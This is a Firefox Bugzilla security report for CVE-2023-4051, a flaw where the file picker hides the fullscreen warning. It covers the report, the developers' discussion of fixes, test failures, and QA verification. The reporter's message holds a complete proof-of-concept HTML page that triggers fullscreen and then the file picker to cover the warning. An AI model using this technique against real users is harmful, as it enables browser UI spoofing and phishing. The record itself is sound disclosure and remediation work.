Closed Bug 1821884 (CVE-2023-4051) Opened 2 years ago Closed 1 year ago

File Open Dialog hide fullscreen notification

Categories

(Core :: DOM: Core & HTML, defect)

Product:
Core
Component:
DOM: Core & HTML
Type:
defect

Tracking

()

Status:
RESOLVED FIXED
Milestone:
116 Branch
Tracking Flags:
Tracking Status
firefox-esr102 --- wontfix
firefox-esr115 117+ verified
firefox114 --- wontfix
firefox115 + wontfix
firefox116 + verified
firefox117 --- verified

People

(Reporter: sas.kunz, Assigned: edgar)

References

Details

(Keywords: csectype-spoof, reporter-external, sec-moderate, Whiteboard: [reporter-external] [client-bounty-form] [verif?] [reminder-esr-uplift 2023-07-05] [adv-main116+] [adv-esr115.2+])

Attachments

(5 files, 1 obsolete file)

poc fileupload firefox.mp4
710.08 KB, video/mp4
Details
filedialog.html
1.49 KB, text/html
Details
Bug 1821884 - Ensure consistent state for fullscreen/pointerlock warnings; r?Gijs
48 bytes, text/x-phabricator-request
RyanVM
: approval-mozilla-esr115+
Details | Review
Bug 1821884 - Reshow initial fullscreen notification; r?Gijs
48 bytes, text/x-phabricator-request
RyanVM
: approval-mozilla-esr115+
Details | Review
advisory.txt
224 bytes, text/plain
Details

I found a vulnerability in firefox 110.0.1 (64-bit) (i tested on windows OS) where a safety browsing alert notification can cover fullscreen notifications which can lead to spoofs.

step to reproduces:

  1. open http://103.186.0.20/fileupload.html
  2. press "Enter" on keyboard 2 times

mitigation:
Exit fullscreen when file dialog prompt is shown.

code (HTML file) :
<html>
<head>
<script>

        function fullscreen()
        {
                     document.getElementById("xx").requestFullscreen().then(function() {
                      document.getElementById('fileid').focus();   
                      document.getElementById("fileid").focus();    
          })
            .catch(function(error) {
                                            // element could not enter fullscreen mode
                                            // error message
                                            console.log(error.message);
            });
            document.getElementById("fileid").focus();
        }
    </script> 
</head>
<body id="xx"  >

         <input id='fileid' type='file' name='filename'/>
   
        <button id="yy" >google.com</button>
      
</body>

</html>
<script>
document.getElementById("yy").focus();
document.getElementById("yy").addEventListener("keypress", function(e) {
if (e.key === "Enter") {

 fullscreen()

}

});
document.getElementById("fileid").addEventListener("keypress", function(e) {
if (e.key === "Enter") {

   document.getElementById('fileid').click();

}

});

const myTimeout = setTimeout(showdialogfile, 1000);

function myStopFunction() {
clearTimeout(myTimeout);
}
function showdialogfile() {
document.getElementById('fileid').click();
}

</script>

Flags: sec-bounty?
Attached file filedialog.html —

I'm not sure what we could/should do about this. I imagine not showing the filepicker until we've shown the fullscreen warning would not be web-compatible and/or would lead to bad user experiences. We could move the warning on the screen but that requires knowing where the OS window opens (which I'm not sure we do - certainly the frontend has no way of finding out at the moment.

Edgar, as the resident fullscreen expert, any thoughts?

Group: firefox-core-security → dom-core-security
Component: Security → DOM: Core & HTML
Flags: needinfo?(echen)
Product: Firefox → Core

Chrome seems to exit fullscreen when file picker is shown, on linux at least.

It's not working for me on Mac, doesn't seem to try to go to fullscreen. No errors in the console to explain it. From the video it would depend on where the user last used a file picker, wouldn't it? I think the OS remembers where you put it. Even in the video it doesn't cover it all that well.

Keywords: csectype-spoof

(In reply to Daniel Veditz [:dveditz] from comment #4)

doesn't seem to try to go to fullscreen.

This sounds weird, I do see page go to fullscreen on Mac.
(Note that you would need to press Enter key on google.com button to trigger fullscreen request, clicking the button does nothing)

From the video it would depend on where the user last used a file picker, wouldn't it? I think the OS remembers where you put it. Even in the video it doesn't cover it all that well.

Mac and Linux (Ubuntu) open the File picker at middle of the screen/page every time, they do not remember the location, but size. It likely impact the user who has smaller screen or make the file picker pretty large.
Windows do remember the location and also the size for file picker, so yes, it would depend on where the user last used a file picker.

(In reply to Olli Pettay [:smaug][bugs@pettay.fi] from comment #3)

Chrome seems to exit fullscreen when file picker is shown, on linux at least.

I am not sure if exiting fullscreen when file picker is shown makes sense, as file picker is a modal window which is always visible with the main window together. Chromium also get a compliant from user, e.g. https://bugs.chromium.org/p/chromium/issues/detail?id=1328896&q=Fullscreen%20F11&can=1. Is it possible that we make warning always show on top, so file picker can not cover it?

Flags: needinfo?(echen)

(In reply to Edgar Chen [:edgar] from comment #6)

Is it possible that we make warning always show on top, so file picker can not cover it?

I don't think that's easily possible with the UI framework we have, also given that longer term we would like the picker to be shown by a different process (cf. bug 1677170).

See Also: → CVE-2023-5729

(In reply to Edgar Chen [:edgar] from comment #5)

(In reply to Daniel Veditz [:dveditz] from comment #4)

doesn't seem to try to go to fullscreen.

This sounds weird, I do see page go to fullscreen on Mac.

Worked like a charm when I tried today... dunno what's different. On my large monitor it didn't actually cover the toast, but I can see how it could depending on the user's configuration.

I'm not sure what we could/should do about this.

one different thing would be to make the full-screen notification a separate OS pane that really is top-most. It looks like we're currently drawing it in our own content window which is why selects and other things are able to cover it so easily.

Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: sec-moderate
Severity: -- → S3

hello any updates?

Duplicate of this bug: 1831818
Flags: needinfo?(continuation)

Hsin-Yi, could we maybe increase the priority on fixing this? It is a sec-moderate, but we've had two reports of it now, so it would be good to fix. Thanks.

Flags: needinfo?(htsai)
No longer duplicate of this bug: 1831818
See Also: → 1831818

(In reply to Daniel Veditz [:dveditz] from comment #8)

one different thing would be to make the full-screen notification a separate OS pane that really is top-most. It looks like we're currently drawing it in our own content window which is why selects and other things are able to cover it so easily.

The full-screen notification slide out automatically after 3 second, another thing would be to make the notification not slide out when the fullscreen window is unfocused or file/color picker is opened (not sure if we have any existing way to detect that). So when user switch back to fullscreen window, they still can have a chance to see the notification.

(In reply to Edgar Chen [:edgar] from comment #13)

file/color picker is opened (not sure if we have any existing way to detect that)

When file/color picker is opened, the fullscreen window is unfocused, so detect whether fullscreen window is focused should be enough.

Flags: needinfo?(htsai)

Fullscreen/PointerLock warnings are initialized with hidden="true", but
change to hidden="" after being shown and hidden again. I think this
started happening when we began using HTML elements instead of XUL as
they handle hidden attribute differently.

Assignee: nobody → echen
Status: NEW → ASSIGNED
Attachment #9332950 - Attachment description: Bug 1821884 - Hide fullscreen notification automatically only when fullscreen window is focused; → Bug 1821884 - Don't hide the fullscreen notification until the fullscreen window is focus;
Attachment #9333124 - Attachment description: Bug 1821884 - Ensure consistent state for fullscreen/pointerlock warnings; → Bug 1821884 - Ensure consistent state for fullscreen/pointerlock warnings; r?Gijs
Attachment #9332950 - Attachment description: Bug 1821884 - Don't hide the fullscreen notification until the fullscreen window is focus; → Bug 1821884 - Don't hide the fullscreen notification until the fullscreen window is focus; r?Gijs

(In reply to Edgar Chen [:edgar] from comment #13)

The full-screen notification slide out automatically after 3 second, another thing would be to make the notification not slide out when the fullscreen window is unfocused or file/color picker is opened (not sure if we have any existing way to detect that). So when user switch back to fullscreen window, they still can have a chance to see the notification.

This approach helps some other situation, like notification is overlapped by a external application (bug 1816287) or other browser window (bug 1828276).
But I just realized that there is one downside of this approach in multiple monitor scenario: If a user enter fullscreen on one monitor (e.g. playing a video) and then switch to another monitor to do other things before the fullscreen notification is hidden automatically (which current takes 3 sec), the fullscreen notification will not automatically hide until user switch focus back to the fullscreen window. This is a kind of tradeoff between security and user experience, Gijs and Daniel, any thoughts. And it would be also good to get some feedback from UX people if possible.

Flags: needinfo?(htsai)
Flags: needinfo?(gijskruitbosch+bugs)
Flags: needinfo?(dveditz)

(In reply to Edgar Chen [:edgar] from comment #17)

But I just realized that there is one downside of this approach in multiple monitor scenario: If a user enter fullscreen on one monitor (e.g. playing a video) and then switch to another monitor to do other things before the fullscreen notification is hidden automatically (which current takes 3 sec), the fullscreen notification will not automatically hide until user switch focus back to the fullscreen window. This is a kind of tradeoff between security and user experience, Gijs and Daniel, any thoughts. And it would be also good to get some feedback from UX people if possible.

I think ideally we should be able to work out if any part of the window is occluded, which would allow us to spot the difference between these two cases, I think? But I don't know that we currently have an API for that (other than for the window being completely occluded, which isn't the case here). Perhaps :emilio can help or suggest an alternative approach?

Flags: needinfo?(gijskruitbosch+bugs) → needinfo?(emilio)

I don't think we can know whether the window is partially occluded unfortunately. But we should be able to track whether we're opening a modal dialog? Windows has this code to track open file pickers, maybe we could track that similarly on other platforms?

Flags: needinfo?(emilio)

(In reply to Emilio Cobos Álvarez (:emilio) from comment #19)

I don't think we can know whether the window is partially occluded unfortunately. But we should be able to track whether we're opening a modal dialog? Windows has this code to track open file pickers, maybe we could track that similarly on other platforms?

That could work for the filepicker case, but the current version of this patch will also help when e.g. a page opens a link to an external protocol that opens some other app on the machine (bug 1816287), or the credentials bits in bug 1823720, which we can't detect in the same way. Addressing them all 1 by 1 is all very whack-a-mole, whereas just persisting / re-showing the warning when activate/deactivate happens would be a more general fix for all these types of "oh look I hid a bit of your window" types of "attack"s.

If a user enter fullscreen on one monitor (e.g. playing a video) and then switch to another monitor to do other things before the fullscreen notification is hidden automatically

Or we could still auto-hide the notification when fullscreen window is deactivated and re-showing again when activate. In multiple monitor scenario, it would show notification again to the user when user switch focus back to fullscreen window, but seems less annoying than persisting the notification?

Flags: needinfo?(htsai)

(I've reached out to ask for UX feedback. Will keep here posted.)

In multiple monitor scenario, it would show notification again to the user when user switch focus back to fullscreen window, but seems less annoying than persisting the notification?

Less annoying to the users who switched away immediately (how many will that be?), but way more annoying to everyone else. Currently they only see the initial prompt, but folks who switch apps a bunch of times while watching a movie (say to a chat program discussing the show they're all watching together, or answering mail during the commercials on ad-supported streams) would start to see this all the time if we made this change. Or was inherent in the proposal that this would not apply to user-initiated focus shifts? Can we make that distinction?

In theory I like reminding people, but in practice I think people will hate it.

Flags: needinfo?(dveditz)

folks who switch apps a bunch of times while watching a movie (say to a chat program discussing the show they're all watching together, or answering mail during the commercials on ad-supported streams) would start to see this all the time if we made this change.

To clarify, this change only applies to the initial prompt:

  • If the fullscreen window is switched away before the initial prompt's auto-hide timer expires (after 3 seconds), we assume that user might not see the prompt. Therefore, the "initial prompt" will reappear when the user refocuses on the fullscreen window.
  • If the fullscreen window stay active until the initial prompt's auto-hide timer expires, we assume that user has seen the initial prompt. In this case, we will not show the prompt again, even if the user switches focus away and then back to the fullscreen window.

The initial prompt can reappear multiple times if the user rapidly switches between the fullscreen window and another window/application multiple times. However, this might be a rare or corner case, and perhaps re-showing prompt multiple times is acceptable?

Or was inherent in the proposal that this would not apply to user-initiated focus shifts?

It is not easy to have a generic way to distinguish whether the focus change is user-initiated, especially in cases where the cause is from an external application or OS.

Blocks: 1831818

Thanks for clarifying. That sounds fine.

Attachment #9332950 - Attachment is obsolete: true
Attachment #9334626 - Attachment description: Bug 1821884 - Reshow fullscreen notification; → Bug 1821884 - Reshow initial fullscreen notification; r?Gijs

Landed:
https://hg.mozilla.org/integration/autoland/rev/47ac6b453494cb75a47a3d5572ef78ebe29845a8
https://hg.mozilla.org/integration/autoland/rev/b843039f68066217b47c8990efb2fe2cb8bf6cd4

Backed out for causing browser-chrome failures of browser_pointerlock_warning.js:
https://hg.mozilla.org/integration/autoland/rev/8c19dab5b51003effa919d308ff033031f7c52f7

Push with failures
Failure log

[task 2023-06-07T22:14:17.328Z] 22:14:17     INFO - Entering test bound show_pointerlock_warning_escape
[task 2023-06-07T22:14:17.328Z] 22:14:17     INFO - Pointerlock warning test for data:text/html,<body onpointerdown='this.requestPointerLock()' style='width: 100px; height: 100px;'></body>
[task 2023-06-07T22:14:17.330Z] 22:14:17     INFO - Console message: [JavaScript Warning: "This page is in Quirks Mode. Page layout may be impacted. For Standards Mode use “<!DOCTYPE html>”." {file: "data:text/html,<body onpointerdown='this.requestPointerLock()' style='width: 100px; height: 100px;'></body>" line: 0}]
[task 2023-06-07T22:14:17.331Z] 22:14:17     INFO - Buffered messages finished
[task 2023-06-07T22:14:17.331Z] 22:14:17     INFO - TEST-UNEXPECTED-FAIL | dom/tests/browser/browser_pointerlock_warning.js | Test timed out -
Flags: needinfo?(echen)

Oh, D177790 needs to update browser_pointerlock_warning.js, too.

Flags: needinfo?(echen)

Ensure consistent state for fullscreen/pointerlock warnings; r=Gijs
https://hg.mozilla.org/integration/autoland/rev/2c0b0e1394fe2a02238df8ada39b17862c346b04
https://hg.mozilla.org/mozilla-central/rev/2c0b0e1394fe

Reshow initial fullscreen notification; r=Gijs
https://hg.mozilla.org/integration/autoland/rev/3ca2cc6f49ed260c43068aca6a6950863f9ae15b
https://hg.mozilla.org/mozilla-central/rev/3ca2cc6f49ed

Group: dom-core-security → core-security-release
Status: ASSIGNED → RESOLVED
Closed: 1 year ago
status-firefox116: --- → fixed
Resolution: --- → FIXED
Target Milestone: --- → 116 Branch

The patch landed in nightly and beta is affected.
:edgar, is this bug important enough to require an uplift?

  • If yes, please nominate the patch for beta approval.
  • If no, please set status-firefox115 to wontfix.

For more information, please visit BugBot documentation.

Flags: needinfo?(echen)
Flags: sec-bounty? → sec-bounty+
Summary: File Open Dialog hide notification screen → File Open Dialog hide fullscreen notification
Duplicate of this bug: 1828276
Duplicate of this bug: 1834949

Since there is a UX behavior change, we don't want to land this before 116 in order to have a longer time to collect possible feedback.

status-firefox115: affected → wontfix
Flags: needinfo?(echen)

(In reply to Edgar Chen [:edgar] from comment #33)

Since there is a UX behavior change, we don't want to land this before 116 in order to have a longer time to collect possible feedback.

Do we want to uplift to esr115 after 116 releases?

Flags: needinfo?(echen)

(In reply to :Gijs (he/him) from comment #34)

Do we want to uplift to esr115 after 116 releases?

Good point, yes, I think it's worth to uplift to esr115 after 116 release.

Flags: needinfo?(echen)
Whiteboard: [reporter-external] [client-bounty-form] [verif?] → [reporter-external] [client-bounty-form] [verif?] [reminder-esr-uplift 2023-07-05]
Duplicate of this bug: CVE-2023-4053
No longer duplicate of this bug: CVE-2023-4053
See Also: → CVE-2023-4053
Flags: qe-verify+
QA Whiteboard: [post-critsmash-triage]
Whiteboard: [reporter-external] [client-bounty-form] [verif?] [reminder-esr-uplift 2023-07-05] → [reporter-external] [client-bounty-form] [verif?] [reminder-esr-uplift 2023-07-05] [adv-main116+]

I am attempting to verify this fix, however, I can not see a difference in behavior between the fixed Nightly v117.0a1 and Beta v116.0 (RC) and the affected Release v115.0.3 in Windows10 and Ubuntu22.

All builds fail to exit fullscreen when the operating system's file picker is opened (steps from comment 0).
If you think I misunderstood the expected results, please explain. Otherwise, the fix might not be valid.
Thank you.

Flags: needinfo?(echen)

The fixed is the fullscreen notification is shown after you close the file picker

I can confirm that the exit fullscreen notification ("http://103.186.0.20 is now fullscreen" Exit Full Screen (Esc)") is hidden when the file picker is shown.
Steps:

  1. Load http://103.186.0.20/fileupload.html
  2. focus the "google.com" button with keyboard navigation
  3. Press ENTER once.
    Observe: the webpage is shown in fullscreen and the "exit fgull screen notification" is displayed
  4. Before the notification disappears, press ENTER again.
    Affected: The notification is displayed while the file picker is also displayed.
    Fixed: The notification is hidden immediately when the file-picker is shown and appears again after it's closed.

Verified in Nightly v117.0a1 and Beta v116.0 (RC) on Windows 10 and Ubuntu 22.
Unfortunately, it seems that the fix is not working for MacOS. The "http://103.186.0.20 is now fullscreen" Exit Full Screen (Esc)" notification remains displayed while the file-picker is displayed.

(In reply to Daniel Bodea [:danibodea] from comment #40)

Verified in Nightly v117.0a1 and Beta v116.0 (RC) on Windows 10 and Ubuntu 22.
Unfortunately, it seems that the fix is not working for MacOS. The "http://103.186.0.20 is now fullscreen" Exit Full Screen (Esc)" notification remains displayed while the file-picker is displayed.

I thought I had tested all platforms, but it appears I overlooked Mac. It seems that opening a file picker doesn't cause the browser window to lose focus on Mac, so this approach doesn't work there. I filed bug 1846205.

Comment on attachment 9333124 [details]
Bug 1821884 - Ensure consistent state for fullscreen/pointerlock warnings; r?Gijs

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration: This is not a sec-high/crit bug, but these patches provide a more general fix for attacks that attempt to use filer picker or other applications to hide fullscreen notifications.
  • User impact if declined: Fullscreen warning notification is overlapped by file picker or other application, which could lead to address bar UI spoofing.
  • Fix Landed on Version: 116
  • Risk to taking this patch: Medium
  • Why is the change risky/not risky? (and alternatives if risky): There is a UX behavior change, but it is landed for a while on 116 and doesn't have much compliant (except bug 1847901), so it should be safe to uplift to esr115
Flags: needinfo?(echen)
Attachment #9333124 - Flags: approval-mozilla-esr115?
Attachment #9334626 - Flags: approval-mozilla-esr115?
Duplicate of this bug: 1831818

Comment on attachment 9333124 [details]
Bug 1821884 - Ensure consistent state for fullscreen/pointerlock warnings; r?Gijs

Approved for 115.2esr.

Attachment #9333124 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
Attachment #9334626 - Flags: approval-mozilla-esr115? → approval-mozilla-esr115+
QA Whiteboard: [post-critsmash-triage] → [post-critsmash-triage][qa-triaged]

Based on comment 40, I confirm this fix on branch 117 (Nightly v117.0a1) and branch 116 (Beta 116.0 RC) for Windows and Ubuntu 22.
I have also verified it in Release v116.0.3 and ESR v115.2esr for Windows 10 and Ubuntu 22.
This fix is not present on MacOS and this is being addressed in blocked bug 1846205.

status-firefox116: fixed → verified
status-firefox117: --- → verified
status-firefox-esr115: fixed → verified
Whiteboard: [reporter-external] [client-bounty-form] [verif?] [reminder-esr-uplift 2023-07-05] [adv-main116+] → [reporter-external] [client-bounty-form] [verif?] [reminder-esr-uplift 2023-07-05] [adv-main116+] [adv-esr115.2+]
QA Whiteboard: [post-critsmash-triage][qa-triaged] → [post-critsmash-triage]
Flags: qe-verify+
Group: core-security-release
Alias: CVE-2023-4051
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: